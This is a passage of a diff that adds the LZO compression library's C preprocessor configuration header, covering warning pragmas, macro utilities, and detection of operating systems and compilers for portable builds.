defined(__C166__) +# pragma warning disable = 322 +#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__) +# if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2)) +# pragma GCC diagnostic ignored "-Wundef" +# endif +#elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__) +# if ((_MSC_VER-0) >= 1300) +# pragma warning(disable: 4668) +# endif +#endif +#endif +#if 0 && defined(__POCC__) && defined(_WIN32) +# if (__POCC__ >= 400) +# pragma warn(disable: 2216) +# endif +#endif +#if 0 && defined(__WATCOMC__) +# if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060) +# pragma warning 203 9 +# endif +#endif +#if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__) +# pragma option -h +#endif +#if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC) +#ifndef _CRT_NONSTDC_NO_DEPRECATE +#define _CRT_NONSTDC_NO_DEPRECATE 1 +#endif +#ifndef _CRT_NONSTDC_NO_WARNINGS +#define _CRT_NONSTDC_NO_WARNINGS 1 +#endif +#ifndef _CRT_SECURE_NO_DEPRECATE +#define _CRT_SECURE_NO_DEPRECATE 1 +#endif +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS 1 +#endif +#endif +#if 0 +#define LZO_0xffffUL 0xfffful +#define LZO_0xffffffffUL 0xfffffffful +#else +#define LZO_0xffffUL 65535ul +#define LZO_0xffffffffUL 4294967295ul +#endif +#define LZO_0xffffL LZO_0xffffUL +#define LZO_0xffffffffL LZO_0xffffffffUL +#if (LZO_0xffffL == LZO_0xffffffffL) +# error "your preprocessor is broken 1" +#endif +#if (16ul * 16384ul != 262144ul) +# error "your preprocessor is broken 2" +#endif +#if 0 +#if (32767 >= 4294967295ul) +# error "your preprocessor is broken 3" +#endif +#if (65535u >= 4294967295ul) +# error "your preprocessor is broken 4" +#endif +#endif +#if defined(__COUNTER__) +# ifndef LZO_CFG_USE_COUNTER +# define LZO_CFG_USE_COUNTER 1 +# endif +#else +# undef LZO_CFG_USE_COUNTER +#endif +#if (UINT_MAX == LZO_0xffffL) +#if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__) +# if !defined(MSDOS) +# define MSDOS 1 +# endif +# if !defined(_MSDOS) +# define _MSDOS 1 +# endif +#elif 0 && defined(__VERSION) && defined(MB_LEN_MAX) +# if (__VERSION == 520) && (MB_LEN_MAX == 1) +# if !defined(__AZTEC_C__) +# define __AZTEC_C__ __VERSION +# endif +# if !defined(__DOS__) +# define __DOS__ 1 +# endif +# endif +#endif +#endif +#if defined(_MSC_VER) && defined(M_I86HM) && (UINT_MAX == LZO_0xffffL) +# define ptrdiff_t long +# define _PTRDIFF_T_DEFINED 1 +#endif +#if (UINT_MAX == LZO_0xffffL) +# undef __LZO_RENAME_A +# undef __LZO_RENAME_B +# if defined(__AZTEC_C__) && defined(__DOS__) +# define __LZO_RENAME_A 1 +# elif defined(_MSC_VER) && defined(MSDOS) +# if (_MSC_VER < 600) +# define __LZO_RENAME_A 1 +# elif (_MSC_VER < 700) +# define __LZO_RENAME_B 1 +# endif +# elif defined(__TSC__) && defined(__OS2__) +# define __LZO_RENAME_A 1 +# elif defined(__MSDOS__) && defined(__TURBOC__) && (__TURBOC__ < 0x0410) +# define __LZO_RENAME_A 1 +# elif defined(__PACIFIC__) && defined(DOS) +# if !defined(__far) +# define __far far +# endif +# if !defined(__near) +# define __near near +# endif +# endif +# if defined(__LZO_RENAME_A) +# if !defined(__cdecl) +# define __cdecl cdecl +# endif +# if !defined(__far) +# define __far far +# endif +# if !defined(__huge) +# define __huge huge +# endif +# if !defined(__near) +# define __near near +# endif +# if !defined(__pascal) +# define __pascal pascal +# endif +# if !defined(__huge) +# define __huge huge +# endif +# elif defined(__LZO_RENAME_B) +# if !defined(__cdecl) +# define __cdecl _cdecl +# endif +# if !defined(__far) +# define __far _far +# endif +# if !defined(__huge) +# define __huge _huge +# endif +# if !defined(__near) +# define __near _near +# endif +# if !defined(__pascal) +# define __pascal _pascal +# endif +# elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) +# if !defined(__cdecl) +# define __cdecl cdecl +# endif +# if !defined(__pascal) +# define __pascal pascal +# endif +# endif +# undef __LZO_RENAME_A +# undef __LZO_RENAME_B +#endif +#if (UINT_MAX == LZO_0xffffL) +#if defined(__AZTEC_C__) && defined(__DOS__) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +#elif defined(_MSC_VER) && defined(MSDOS) +# if (_MSC_VER < 600) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +# endif +# if (_MSC_VER < 700) +# define LZO_BROKEN_INTEGRAL_PROMOTION 1 +# define LZO_BROKEN_SIZEOF 1 +# endif +#elif defined(__PACIFIC__) && defined(DOS) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +#elif defined(__TURBOC__) && defined(__MSDOS__) +# if (__TURBOC__ < 0x0150) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +# define LZO_BROKEN_INTEGRAL_PROMOTION 1 +# endif +# if (__TURBOC__ < 0x0200) +# define LZO_BROKEN_SIZEOF 1 +# endif +# if (__TURBOC__ < 0x0400) && defined(__cplusplus) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# endif +#elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# define LZO_BROKEN_SIZEOF 1 +#endif +#endif +#if defined(__WATCOMC__) && (__WATCOMC__ < 900) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +#endif +#if defined(_CRAY) && defined(_CRAY1) +# define LZO_BROKEN_SIGNED_RIGHT_SHIFT 1 +#endif +#define LZO_PP_STRINGIZE(x) #x +#define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x) +#define LZO_PP_CONCAT0() /*empty*/ +#define LZO_PP_CONCAT1(a) a +#define LZO_PP_CONCAT2(a,b) a ## b +#define LZO_PP_CONCAT3(a,b,c) a ## b ## c +#define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d +#define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e +#define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f +#define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g +#define LZO_PP_ECONCAT0() LZO_PP_CONCAT0() +#define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a) +#define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b) +#define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c) +#define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d) +#define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e) +#define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f) +#define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g) +#define LZO_PP_EMPTY /*empty*/ +#define LZO_PP_EMPTY0() /*empty*/ +#define LZO_PP_EMPTY1(a) /*empty*/ +#define LZO_PP_EMPTY2(a,b) /*empty*/ +#define LZO_PP_EMPTY3(a,b,c) /*empty*/ +#define LZO_PP_EMPTY4(a,b,c,d) /*empty*/ +#define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/ +#define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/ +#define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/ +#if 1 +#define LZO_CPP_STRINGIZE(x) #x +#define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x) +#define LZO_CPP_CONCAT2(a,b) a ## b +#define LZO_CPP_CONCAT3(a,b,c) a ## b ## c +#define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d +#define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e +#define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f +#define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g +#define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b) +#define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c) +#define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d) +#define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e) +#define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f) +#define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g) +#endif +#define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b)) +#if 1 && defined(__cplusplus) +# if !defined(__STDC_CONSTANT_MACROS) +# define __STDC_CONSTANT_MACROS 1 +# endif +# if !defined(__STDC_LIMIT_MACROS) +# define __STDC_LIMIT_MACROS 1 +# endif +#endif +#if defined(__cplusplus) +# define LZO_EXTERN_C extern "C" +# define LZO_EXTERN_C_BEGIN extern "C" { +# define LZO_EXTERN_C_END } +#else +# define LZO_EXTERN_C extern +# define LZO_EXTERN_C_BEGIN /*empty*/ +# define LZO_EXTERN_C_END /*empty*/ +#endif +#if !defined(__LZO_OS_OVERRIDE) +#if (LZO_OS_FREESTANDING) +# define LZO_INFO_OS "freestanding" +#elif (LZO_OS_EMBEDDED) +# define LZO_INFO_OS "embedded" +#elif 1 && defined(__IAR_SYSTEMS_ICC__) +# define LZO_OS_EMBEDDED 1 +# define LZO_INFO_OS "embedded" +#elif defined(__CYGWIN__) && defined(__GNUC__) +# define LZO_OS_CYGWIN 1 +# define LZO_INFO_OS "cygwin" +#elif defined(__EMX__) && defined(__GNUC__) +# define LZO_OS_EMX 1 +# define LZO_INFO_OS "emx" +#elif defined(__BEOS__) +# define LZO_OS_BEOS 1 +# define LZO_INFO_OS "beos" +#elif defined(__Lynx__) +# define LZO_OS_LYNXOS 1 +# define LZO_INFO_OS "lynxos" +#elif defined(__OS400__) +# define LZO_OS_OS400 1 +# define LZO_INFO_OS "os400" +#elif defined(__QNX__) +# define LZO_OS_QNX 1 +# define LZO_INFO_OS "qnx" +#elif defined(__BORLANDC__) && defined(__DPMI32__) && (__BORLANDC__ >= 0x0460) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +#elif defined(__BORLANDC__) && defined(__DPMI16__) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +#elif defined(__ZTC__) && defined(DOS386) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +#elif defined(__OS2__) || defined(__OS2V2__) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_OS216 1 +# define LZO_INFO_OS "os216" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_OS2 1 +# define LZO_INFO_OS "os2" +# else +# error "check your limits.h header" +# endif +#elif defined(__WIN64__) || defined(_WIN64) || defined(WIN64) +# define LZO_OS_WIN64 1 +# define LZO_INFO_OS "win64" +#elif defined(__WIN32__) || defined(_WIN32) || defined(WIN32) || defined(__WINDOWS_386__) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +#elif defined(__MWERKS__) && defined(__INTEL__) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +#elif defined(__WINDOWS__) || defined(_WINDOWS) || defined(_Windows) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_WIN16 1 +# define LZO_INFO_OS "win16" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +# else +# error "check your limits.h header" +# endif +#elif defined(__DOS__) || defined(__MSDOS__) || defined(_MSDOS) || defined(MSDOS) || (defined(__PACIFIC__) && defined(DOS)) +# if (UINT_MAX == LZO_0xffffL) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_OS_DOS32 1 +# define LZO_INFO_OS "dos32" +# else +# error "check your limits.h header" +# endif +#elif defined(__WATCOMC__) +# if defined(__NT__) && (UINT_MAX == LZO_0xffffL) +# define LZO_OS_DOS16 1 +# define LZO_INFO_OS "dos16" +# elif defined(__NT__) && (__WATCOMC__ < 1100) +# define LZO_OS_WIN32 1 +# define LZO_INFO_OS "win32" +# elif defined(__linux__) || defined(__LINUX__) +# define LZO_OS_POSIX 1 +# define LZO_INFO_OS "posix" +# else +# error "please specify a target using the -bt compiler option" +# endif +#elif defined(__palmos__) +# define LZO_OS_PALMOS 1 +# define LZO_INFO_OS "palmos" +#elif defined(__TOS__) || defined(__atarist__) +# define LZO_OS_TOS 1 +# define LZO_INFO_OS "tos" +#elif defined(macintosh) && !defined(__ppc__) +# define LZO_OS_MACCLASSIC 1 +# define LZO_INFO_OS "macclassic" +#elif defined(__VMS) +# define LZO_OS_VMS 1 +# define LZO_INFO_OS "vms" +#elif (defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__) +# define LZO_OS_CONSOLE 1 +# define LZO_OS_CONSOLE_PS2 1 +# define LZO_INFO_OS "console" +# define LZO_INFO_OS_CONSOLE "ps2" +#elif defined(__mips__) && defined(__psp__) +# define LZO_OS_CONSOLE 1 +# define LZO_OS_CONSOLE_PSP 1 +# define LZO_INFO_OS "console" +# define LZO_INFO_OS_CONSOLE "psp" +#else +# define LZO_OS_POSIX 1 +# define LZO_INFO_OS "posix" +#endif +#if (LZO_OS_POSIX) +# if defined(_AIX) || defined(__AIX__) || defined(__aix__) +# define LZO_OS_POSIX_AIX 1 +# define LZO_INFO_OS_POSIX "aix" +# elif defined(__FreeBSD__) +# define LZO_OS_POSIX_FREEBSD 1 +# define LZO_INFO_OS_POSIX "freebsd" +# elif defined(__hpux__) || defined(__hpux) +# define LZO_OS_POSIX_HPUX 1 +# define LZO_INFO_OS_POSIX "hpux" +# elif defined(__INTERIX) +# define LZO_OS_POSIX_INTERIX 1 +# define LZO_INFO_OS_POSIX "interix" +# elif defined(__IRIX__) || defined(__irix__) +# define LZO_OS_POSIX_IRIX 1 +# define LZO_INFO_OS_POSIX "irix" +# elif defined(__linux__) || defined(__linux) || defined(__LINUX__) +# define LZO_OS_POSIX_LINUX 1 +# define LZO_INFO_OS_POSIX "linux" +# elif defined(__APPLE__) && defined(__MACH__) +# if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000) +# define LZO_OS_POSIX_DARWIN 1040 +# define LZO_INFO_OS_POSIX "darwin_iphone" +# elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040) +# define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ +# define LZO_INFO_OS_POSIX "darwin" +# else +# define LZO_OS_POSIX_DARWIN 1 +# define LZO_INFO_OS_POSIX "darwin" +# endif +# define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN +# elif defined(__minix__) || defined(__minix) +# define LZO_OS_POSIX_MINIX 1 +# define LZO_INFO_OS_POSIX "minix" +# elif defined(__NetBSD__) +# define LZO_OS_POSIX_NETBSD 1 +# define LZO_INFO_OS_POSIX "netbsd" +# elif defined(__OpenBSD__) +# define LZO_OS_POSIX_OPENBSD 1 +# define LZO_INFO_OS_POSIX "openbsd" +# elif defined(__osf__) +# define LZO_OS_POSIX_OSF 1 +# define LZO_INFO_OS_POSIX "osf" +# elif defined(__solaris__) || defined(__sun) +# if defined(__SVR4) || defined(__svr4__) +# define LZO_OS_POSIX_SOLARIS 1 +# define LZO_INFO_OS_POSIX "solaris" +# else +# define LZO_OS_POSIX_SUNOS 1 +# define LZO_INFO_OS_POSIX "sunos" +# endif +# elif defined(__ultrix__) || defined(__ultrix) +# define LZO_OS_POSIX_ULTRIX 1 +# define LZO_INFO_OS_POSIX "ultrix" +# elif defined(_UNICOS) +# define LZO_OS_POSIX_UNICOS 1 +# define LZO_INFO_OS_POSIX "unicos" +# else +# define LZO_OS_POSIX_UNKNOWN 1 +# define LZO_INFO_OS_POSIX "unknown" +# endif +#endif +#endif +#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +# if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (UINT_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if defined(CIL) && defined(_GNUCC) && defined(__GNUC__) +# define LZO_CC_CILLY 1 +# define LZO_INFO_CC "Cilly" +# if defined(__CILLY__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CILLY__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif 0 && defined(SDCC) && defined(__VERSION__) && !defined(__GNUC__) +# define LZO_CC_SDCC 1 +# define LZO_INFO_CC "sdcc" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC) +#elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__) +# define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0)) +# define LZO_INFO_CC "Pathscale C" +# define LZO_INFO_CCVER __PATHSCALE__ +# if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0) +# define LZO_CC_INTELC __INTEL_COMPILER +# define LZO_INFO_CC "Intel C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER) +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_INTELC_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__POCC__) && defined(_WIN32) +# define LZO_CC_PELLESC 1 +# define LZO_INFO_CC "Pelles C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__) +#elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# if defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# else +# define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# endif +# define LZO_CC_ARMCC __ARMCC_VERSION +# define LZO_INFO_CC "ARM C Compiler" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__) +# if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__) +# define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0)) +# else +# define LZO_CC_CLANG 0x010000L +# endif +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_CLANG_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +# define LZO_INFO_CC "clang" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# if defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# else +# define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# endif +# define LZO_CC_LLVM LZO_CC_LLVM_GNUC +# define LZO_INFO_CC "llvm-gcc" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(__ACK__) && defined(_ACK) +# define LZO_CC_ACK 1 +# define LZO_INFO_CC "Amsterdam Compiler Kit C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__ARMCC_VERSION) && !defined(__GNUC__) +# define LZO_CC_ARMCC __ARMCC_VERSION +# define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION +# define LZO_INFO_CC "ARM C Compiler" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION) +#elif defined(__AZTEC_C__) +# define LZO_CC_AZTECC 1 +# define LZO_INFO_CC "Aztec C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__AZTEC_C__) +#elif defined(__CODEGEARC__) +# define LZO_CC_CODEGEARC 1 +# define LZO_INFO_CC "CodeGear C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CODEGEARC__) +#elif defined(__BORLANDC__) +# define LZO_CC_BORLANDC 1 +# define LZO_INFO_CC "Borland C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__BORLANDC__) +#elif defined(_CRAYC) && defined(_RELEASE) +# define LZO_CC_CRAYC 1 +# define LZO_INFO_CC "Cray C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_RELEASE) +#elif defined(__DMC__) && defined(__SC__) +# define LZO_CC_DMC 1 +# define LZO_INFO_CC "Digital Mars C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DMC__) +#elif defined(__DECC) +# define LZO_CC_DECC 1 +# define LZO_INFO_CC "DEC C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC) +#elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0) +# define LZO_CC_GHS 1 +# define LZO_INFO_CC "Green Hills C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER) +# if defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_GHS_MSC _MSC_VER +# elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) +# define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# endif +#elif defined(__HIGHC__) +# define LZO_CC_HIGHC 1 +# define LZO_INFO_CC "MetaWare High C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__HP_aCC) && ((__HP_aCC-0) > 0) +# define LZO_CC_HPACC __HP_aCC +# define LZO_INFO_CC "HP aCC" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC) +#elif defined(__IAR_SYSTEMS_ICC__) +# define LZO_CC_IARC 1 +# define LZO_INFO_CC "IAR C" +# if defined(__VER__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__VER__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__IBMC__) && ((__IBMC__-0) > 0) +# define LZO_CC_IBMC __IBMC__ +# define LZO_INFO_CC "IBM C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__) +#elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0) +# define LZO_CC_IBMC __IBMCPP__ +# define LZO_INFO_CC "IBM C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__) +#elif defined(__KEIL__) && defined(__C166__) +# define LZO_CC_KEILC 1 +# define LZO_INFO_CC "Keil C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__C166__) +#elif defined(__LCC__) && defined(_WIN32) && defined(__LCCOPTIMLEVEL) +# define LZO_CC_LCCWIN32 1 +# define LZO_INFO_CC "lcc-win32" +# define LZO_INFO_CCVER "unknown" +#elif defined(__LCC__) +# define LZO_CC_LCC 1 +# define LZO_INFO_CC "lcc" +# if defined(__LCC_VERSION__) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__LCC_VERSION__) +# else +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__MWERKS__) && ((__MWERKS__-0) > 0) +# define LZO_CC_MWERKS __MWERKS__ +# define LZO_INFO_CC "Metrowerks C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__) +#elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386) +# define LZO_CC_NDPC 1 +# define LZO_INFO_CC "Microway NDP C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__PACIFIC__) +# define LZO_CC_PACIFICC 1 +# define LZO_INFO_CC "Pacific C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__) +#elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) +# if defined(__PGIC_PATCHLEVEL__) +# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0)) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__) +# else +# define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0" +# endif +# define LZO_INFO_CC "Portland Group PGI C" +#elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__)) +# define LZO_CC_PGI 1 +# define LZO_INFO_CC "Portland Group PGI C" +# define LZO_INFO_CCVER "unknown" +#elif defined(__PUREC__) && defined(__TOS__) +# define LZO_CC_PUREC 1 +# define LZO_INFO_CC "Pure C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PUREC__) +#elif defined(__SC__) && defined(__ZTC__) +# define LZO_CC_SYMANTECC 1 +# define LZO_INFO_CC "Symantec C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__) +#elif defined(__SUNPRO_C) +# define LZO_INFO_CC "SunPro C" +# if ((__SUNPRO_C-0) > 0) +# define LZO_CC_SUNPROC __SUNPRO_C +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C) +# else +# define LZO_CC_SUNPROC 1 +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__SUNPRO_CC) +# define LZO_INFO_CC "SunPro C" +# if ((__SUNPRO_CC-0) > 0) +# define LZO_CC_SUNPROC __SUNPRO_CC +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC) +# else +# define LZO_CC_SUNPROC 1 +# define LZO_INFO_CCVER "unknown" +# endif +#elif defined(__TINYC__) +# define LZO_CC_TINYC 1 +# define LZO_INFO_CC "Tiny C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TINYC__) +#elif defined(__TSC__) +# define LZO_CC_TOPSPEEDC 1 +# define LZO_INFO_CC "TopSpeed C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TSC__) +#elif defined(__WATCOMC__) +# define LZO_CC_WATCOMC 1 +# define LZO_INFO_CC "Watcom C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__WATCOMC__) +#elif defined(__TURBOC__) +# define LZO_CC_TURBOC 1 +# define LZO_INFO_CC "Turbo C" +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TURBOC__) +#elif defined(__ZTC__) +# define LZO_CC_ZORTECHC 1 +# define LZO_INFO_CC "Zortech C" +# if ((__ZTC__-0) == 0x310) +# define LZO_INFO_CCVER "0x310" +# else +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__) +# endif +#elif defined(__GNUC__) && defined(__VERSION__) +# if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) +# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) +# elif defined(__GNUC_MINOR__) +# define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) +# else +# define LZO_CC_GNUC (__GNUC__ * 0x10000L) +# endif +# define LZO_INFO_CC "gcc" +# define LZO_INFO_CCVER __VERSION__ +#elif defined(_MSC_VER) && ((_MSC_VER-0) > 0) +# define LZO_CC_MSC _MSC_VER +# define LZO_INFO_CC "Microsoft C" +# if defined(_MSC_FULL_VER) +# define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER) +# else +# define LZO_INFO_CCVER 